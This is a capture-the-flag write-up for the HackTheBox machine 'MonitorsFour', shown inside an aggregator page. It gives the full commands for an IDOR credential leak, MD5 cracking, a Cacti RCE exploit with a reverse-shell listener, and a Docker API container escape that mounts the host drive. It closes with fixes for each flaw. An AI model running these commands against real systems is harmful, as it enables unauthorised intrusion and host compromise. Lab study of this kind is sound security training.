惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

aimingoo的专栏
aimingoo的专栏
量子位
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
S
Schneier on Security
Cisco Talos Blog
Cisco Talos Blog
T
ThreatConnect
J
Java Code Geeks
博客园 - 司徒正美
A
Arctic Wolf
T
True Tiger Recordings
C
Cybersecurity and Infrastructure Security Agency CISA
Cyberwarzone
Cyberwarzone
Know Your Adversary
Know Your Adversary
T
Threat Research - Cisco Blogs
V
Vulnerabilities – Threatpost
Recorded Future
Recorded Future
P
Palo Alto Networks Blog
The Hacker News
The Hacker News
The Register - Security
The Register - Security
S
Securelist
www.infosecurity-magazine.com
www.infosecurity-magazine.com
C
CXSECURITY Database RSS Feed - CXSecurity.com
Application and Cybersecurity Blog
Application and Cybersecurity Blog
I
Intezer
P
Privacy & Cybersecurity Law Blog
Scott Helme
Scott Helme
K
Kaspersky official blog
博客园 - 聂微东
Last Week in AI
Last Week in AI
V
V2EX
小众软件
小众软件
F
Fox-IT International blog
Martin Fowler
Martin Fowler
Apple Machine Learning Research
Apple Machine Learning Research
T
Tenable Blog
F
Future of Privacy Forum
Microsoft Security Blog
Microsoft Security Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
腾讯CDC
Stack Overflow Blog
Stack Overflow Blog
C
Check Point Blog
阮一峰的网络日志
阮一峰的网络日志
GbyAI
GbyAI
T
Threatpost
I
InfoQ
P
Proofpoint News Feed
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
T
Tor Project blog
G
GRAHAM CLULEY
D
DataBreaches.Net

DEV Community

Pope Leo XIV's AI Encyclical: What Builders Must Know (2026) Donna v0.3.0 The Free Tool You Trust Is the One You Should Fear the Most HTB — MonitorsFour | Writeup Fr 97. Embeddings and Vector Search: Semantic Search That Works Deep Dive: Building "Gravity Paint" - A Tactile Physics Instrument with React, Matter.js, and p5.js ABAP Unit Testing with Test Doubles and Mocking Frameworks: A Senior Architects Guide to Isolating Dependencies in SAP S/4HANA LeetCode Solution: 5. Longest Palindromic Substring kovax-react 0.8: Tailwind v4 preset, FormField adapters, ColorModeScript, and Storybook I built an AI résumé tool that refuses to lie about your experience The hat Azure Entra ID User & Role Management — Step-by-Step Practical Guide With A Simple Excercise The AI-Native Company: How a Single Founder Can Build Global Organizations Powered by AWS and an Ecosystem of Artificial Intelligences Building a Lightweight Remote MCP Knowledge Base on Cloudflare Workers Why I built Trinavo for the MENA merchants Western platforms ignore The N+1 Query That Killed Our Database, And How I Fixed It Docstrings vs Markdown Docs: What Should Developers Actually Write? Training Data Provenance: The Manifest Diff That Explains the Hash Add SVGIcons MCP to Claude Code and Find SVG Icons from Your Terminal 3 CLI Tools You Can Buy with Crypto — No KYC, No Subscriptions COSS Weekly: OpenClaw competitor NanoClaw Raises $12M, Dust Raises $40M, Sonar Acquires Gitar, and more How to know if you actually need mobile proxies (without buying any) Building Cursor for Community: A Buildathon Built on Time Pressure How we built a PII masking layer for LLM APIs — local detection, reversible tokens, one line to integrate Why MLFQ Was Way Ahead of Its Time Add Runtime Limits to Claude Agent Workflows I Built a Prompt Injection Detector with 98% Recall on Unseen Attacks. Here's Why Data Beat Architecture. 8 Vite Config Options Every Developer Should Know (Vite 8) Feature Flags That Forgot to Leave Why Trust Infrastructure Is Becoming the Hidden Layer of Donation Platforms XyPriss: Rethinking Core Performance and Zero-Trust Architecture in Modern Backends Designing Configuration for Scalable Treasure Hunts SSH Login Delays: The 10-Second Wait That Drives Us Crazy Building Production Multi-Agent Workflows in n8n: What 50 Deployments Taught Us A 3-layer memory system that gives Claude Code persistent context across sessions. Trishul SNMP Suite 2.0.1: Better MIBs, Traps, and SNMP Labs How I built a production AI SaaS as a solo developer Auto-labelling 1.2M robotics frames with VLMs: a failover story India’s Laws Were Not Built for AI — And Courts Are Filling the Gap skill-insp: A Skill That Scores Other Skills Clprolf Minimalist Messaging in the Age of AI What's actually in a good .cursorrules file? I built 10 of them — here's what I learned Building Strong Python Basics – Loops, Functions and Logic How to Choose the Right Tech Stack for Your Project I built a free multi-tab JSON editor — here's what I learned HTTP Headers Every Developer Should Know (2026) Building Cross-Platform Digital Products: Challenges and Best Practices Data Privacy in the Age of AI: How Product Teams Can Build Trust with Users What Would WordPress Look Like If It Were Designed Today? Why Backup Success Does Not Mean Database Recoverability Local AI Office Assistant That Never Sends Your Documents to the Cloud Building TaskForge: Translating Enterprise Chaos into an Open-Source Scheduler Tesla P40 in a Homelab: 24GB of Inference on a Budget Llama 4: Meta's Latest — Scout, Maverick, and the MoE Revolution George Hotz called AI code 'slop.' He's half right. Como Construir um Fluxo de Trabalho Baseado em Engenharia de Prompt e Automação We Audited Our Agent Tool-Call Traces. Half Our Eval Data Was Garbage. The Hidden Cost of Downtime: How SRE Error Budgets Protect National Economic Infrastructure Getting started with openHUMANS can be an exciting venture for developers looking to create innovative applications in the realm of human-ce Stack Overflow: A Powerful Community for Developers and Learners From Language Models to Humanoid Minds ✨ Road to Senior #2: How Computers Think in Numbers Why LLM debugging fails on fragmented repository context How to Deploy a LangGraph Agent on AWS Bedrock AgentCore An outreach kit for solo founders whose drafts can't hallucinate Open Satchel is live Amy Kwalwasser and the Growing Importance of Quantum Risk Modeling I Built ShellReq - A Native API Client for VS Code & Terminal If Microsoft and Uber can't afford AI coding, what chance do the rest of us have? MADCAP: Building a Multi-Agent Debate CLI That Argues With Itself So You Don't Have To Why most AI fails at IDOR (and how AMAS fixes it with causal reasoning) How to Audit a Laravel Codebase You've Inherited LangGraph 워크플로우 템플릿 (v34) BugBench: a developer origin story and practical guide for VS Code / Kiro users A solution to messy token systems for Next.js A NestJS reference app that proves the nest-native stack under realistic backend pressure Observability for AI Systems: Monitoring Drift, Hallucinations, and Reliability in Production I Thought “Data Analyst” Was the Whole Game… Then I Entered the Data Avengers Office 👀 Create and configure network security groups How to analyze the cost of Kafka? How I Shipped 2,500+ Commits With AI Agents Using a 12-Phase Workflow [Boost] We built MDCMS, a Markdown-first CMS for teams using AI agents Zero Heap Allocations at 1.18 GB/s: Deep Dive into ForgeZero 4.0.x The Minimum Viable Test Suite for Working with Agents Why Perplexity Started Citing My Blog: 5 Changes That Actually Worked Sync Supabase via OAuth: No Connection String Needed I asked three AI models the same API question. Only one had it right. Implementing Saga Pattern With Lambda Durable Function Why does AI forget what you said (and how to fix it) I built a daily Wordle-style game for AI tools - Here's how Mapping Polish company structures: querying KRS direct via API Built tmpdrop — a tiny self-hosted ephemeral file drop Running Local LLM - 0$ Personal Agentic AI Assistant - Part 3 LLD Object-Oriented Design: Interfaces & Abstract Classes (Designing Contracts) The Smaller Ship: Vitalik, the Ethereum Foundation's Restructuring, and What It Leaves for Investors Looking for 4 people to build something weird with me Building a Local-Only RAG System with Ollama and TypeScript The False Positive Tax: a 1:1 TP:FP analysis of eslint-plugin-security
HTB — MonitorsFour | Writeup
WhyShell · 2026-05-26 · via DEV Community

🇫🇷 Version française

Platform: HackTheBox | Difficulty: Easy | OS: Windows (Docker Desktop / WSL2)
Machine: HTB — MonitorsFour
Chain: IDOR → Hash cracking → Cacti RCE → Docker escape


Overview

MonitorsFour is a Windows box that hides almost its entire attack surface behind a PHP web application and a containerized infrastructure. The path unfolds in four acts: a logic flaw in an API leaks credentials, those credentials grant access to a vulnerable monitoring service with an RCE, the resulting shell lands inside a Docker container, and the final escape leverages the Docker API exposed without authentication on the internal network.


1. Reconnaissance

rustscan -a $IP --ulimit 5000 -- -sC -sV

Enter fullscreen mode Exit fullscreen mode

Port Service Notes
80 HTTP nginx Redirects to monitorsfour.htb — virtual hosting
5985 WinRM (Microsoft HTTPAPI) Windows shell access if valid creds

Why this matters: The nginx + WinRM combination on a Windows box is a classic containerization signal. nginx typically runs on Linux — here it's inside a Docker Desktop container on the Windows host. Port 5985 is the actual Windows WinRM. This observation should have triggered suspicion immediately.

echo "$IP monitorsfour.htb" | sudo tee -a /etc/hosts

Enter fullscreen mode Exit fullscreen mode


2. Web Enumeration

Subdomain discovery

ffuf -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt \
     -u http://monitorsfour.htb \
     -H "Host: FUZZ.monitorsfour.htb" \
     -ac -t 50 -s | tee fuzz.txt
# cacti

Enter fullscreen mode Exit fullscreen mode

Result: cacti.monitorsfour.htb

[IMAGE: Cacti interface — login page]

echo "$IP monitorsfour.htb cacti.monitorsfour.htb" | sudo tee -a /etc/hosts

Enter fullscreen mode Exit fullscreen mode

Why fuzz vhosts: A single server can host multiple websites based on the HTTP Host: header. Since the box already uses virtual hosting (the IP → domain redirect gives it away), there are likely other hidden sites behind the same IP. cacti.monitorsfour.htb turns out to be the real entry point.

Endpoint enumeration

ffuf -u http://monitorsfour.htb/FUZZ \
     -w /usr/share/seclists/Discovery/Web-Content/common.txt \
     -e .php -t 50 -mc 200,301,302,403 -ic

Enter fullscreen mode Exit fullscreen mode

Route Status Notes
/login 200 Login page
/forgot-password 200 Password reset
/user 200 API endpoint — 35 bytes response
/static 301 Assets
/controllers 403 Source code not directly accessible
curl "http://monitorsfour.htb/user"
# {"error":"Missing token parameter"}

curl "http://monitorsfour.htb/user?token=test"
# {"error":"Invalid or missing token"}

Enter fullscreen mode Exit fullscreen mode


3. IDOR — Credential leak via token=0

The flaw: The /user?token= endpoint validates a user identifier. The controller logic does (in pseudocode):

if ($token) {
    return get_user($token);   // valid token → one user
} else {
    return get_all_users();    // otherwise → ALL users
}

Enter fullscreen mode Exit fullscreen mode

The developer wrote if ($token) instead of if ($token !== null). In PHP, the value 0 is falsyif(0) evaluates to false. Passing token=0 falls into the else branch and returns the entire table.

This is an IDOR (Insecure Direct Object Reference) combined with a falsy value logic flaw. Key takeaway: always test 0, -1, empty string, null on any identification parameter.

curl -s "http://monitorsfour.htb/user?token=0" | python3 -m json.tool

Enter fullscreen mode Exit fullscreen mode

Result:

[
  {"username": "admin", "password": "56b32eb43e6f15395f6c46c1c9e1cd36", "name": "Marcus Higgins"},
  {"username": "mwatson", "password": "69196959c16b26ef00b77d82cf6eb169", "name": "Michael Watson"}
]

Enter fullscreen mode Exit fullscreen mode


4. MD5 Hash Cracking

The hashes are unsalted MD5 — trivial to crack.

# On Mac with native Hashcat (M5 GPU via Metal)
echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hashes.txt
hashcat -m 0 hashes.txt ~/wordlists/rockyou.txt

Enter fullscreen mode Exit fullscreen mode

Result: 56b32eb43e6f15395f6c46c1c9e1cd36wonderful1

Why MD5 is dangerous: Unsalted MD5 can be cracked in seconds on a modern GPU. Identical passwords always produce identical hashes, and rainbow tables cover most common passwords.


5. Cacti Access — CVE-2025-24367 (Authenticated RCE)

Navigate to http://cacti.monitorsfour.htb/cacti/ — the version is displayed at the bottom: Cacti 1.2.28.

Credential subtlety: The API username is admin, but the full name is Marcus Higgins. Cacti uses the first name as the login identifier → authenticate with marcus / wonderful1.

CVE-2025-24367: Cacti 1.2.28 is vulnerable to an authenticated RCE. The exploit abuses the graphs/templates feature to generate a PHP file in the webroot and then trigger it.

# T1 — Listener
penelope -p 9001

# T4 — Exploit
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC
sudo python3 exploit.py \
  -url http://cacti.monitorsfour.htb \
  -u marcus -p wonderful1 \
  -i $ME -l 9001

Enter fullscreen mode Exit fullscreen mode

Shell obtained: www-data inside a Docker container.

[IMAGE: www-data shell — whoami + hostname output]


6. Post-exploitation — Inside the container

id        # uid=33(www-data)
hostname  # 821fbd6a43fa  ← short hash = Docker container ID
ip addr   # 172.18.0.3/16 on eth0
ip route  # default via 172.18.0.1

Enter fullscreen mode Exit fullscreen mode

User flag:

cat /home/marcus/user.txt

Enter fullscreen mode Exit fullscreen mode

[IMAGE: User flag]


7. Container Escape — CVE-2025-9074 (Unauthenticated Docker API)

Context: Docker Desktop on Windows exposes its REST API on 192.168.65.7:2375 without authentication. CVE-2025-9074 documents exactly this exposure: Linux containers can reach this endpoint and interact with the Windows host's Docker Engine.

curl -s http://192.168.65.7:2375/version
# {"Platform":{"Name":"Docker Engine - Community"},...,"Version":"28.3.2",...}

Enter fullscreen mode Exit fullscreen mode

On Docker Desktop + WSL2, the C:\ Windows drive is exposed under /mnt/host/c. We create a container that mounts this path:

curl -s -X POST -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", "cat /mnt/host_root/Users/Administrator/Desktop/root.txt"],
    "HostConfig": {
      "Binds": ["/mnt/host/c:/mnt/host_root"]
    }
  }' \
  http://192.168.65.7:2375/containers/create -o /tmp/response.json

cid=$(grep -o '"Id":"[^"]*"' /tmp/response.json | cut -d'"' -f4)
curl -s -X POST http://192.168.65.7:2375/containers/$cid/start
sleep 2
curl -s "http://192.168.65.7:2375/containers/$cid/logs?stdout=true" --output -

Enter fullscreen mode Exit fullscreen mode

[IMAGE: Root flag]

Root flag obtained.


Full Attack Chain

IDOR token=0
    → MD5 hash leaked (admin / marcus)
        → Hashcat → wonderful1
            → Cacti login (marcus:wonderful1)
                → CVE-2025-24367 → RCE → www-data shell
                    → Docker container (172.18.0.3)
                        → Docker API 192.168.65.7:2375 (CVE-2025-9074)
                            → bind mount /mnt/host/c
                                → root.txt ✅

Enter fullscreen mode Exit fullscreen mode


🛡️ How to Fix These Vulnerabilities

1. IDOR + falsy logic on /user?token=

Fix: Replace if ($token) with if ($token !== null && $token !== ''). Add mandatory authentication on all API endpoints.

2. Unsalted MD5 hashes

Fix: Use password_hash() in PHP (bcrypt by default) or Argon2id. Never store MD5/SHA1 for passwords.

3. Cacti 1.2.28 — CVE-2025-24367

Fix: Update Cacti. Restrict access by IP. Apply the principle of least privilege.

4. Unauthenticated Docker API — CVE-2025-9074

Fix: Disable "Expose daemon on tcp://localhost:2375 without TLS". If TCP is required → TLS + mutual certificates. Isolate containers on dedicated networks.


💡 Key Takeaways

  • Test falsy values (0, -1, "", null) on any identification parameter.
  • Don't give up on vhost fuzzing too earlycacti was the real attack surface.
  • Read HTTP headersX-Powered-By: PHP/8.3.27 + PHPSESSID reveal the tech stack from the very first curl.
  • nginx on Windows = likely containerization — TTL 127 + nginx = strong Docker Desktop signal.
  • Unauthenticated Docker API = immediate root — reaching port 2375 from a compromised container is game over.

📺 Watch the video walkthrough: YouTube WhyShell
🇫🇷 Version française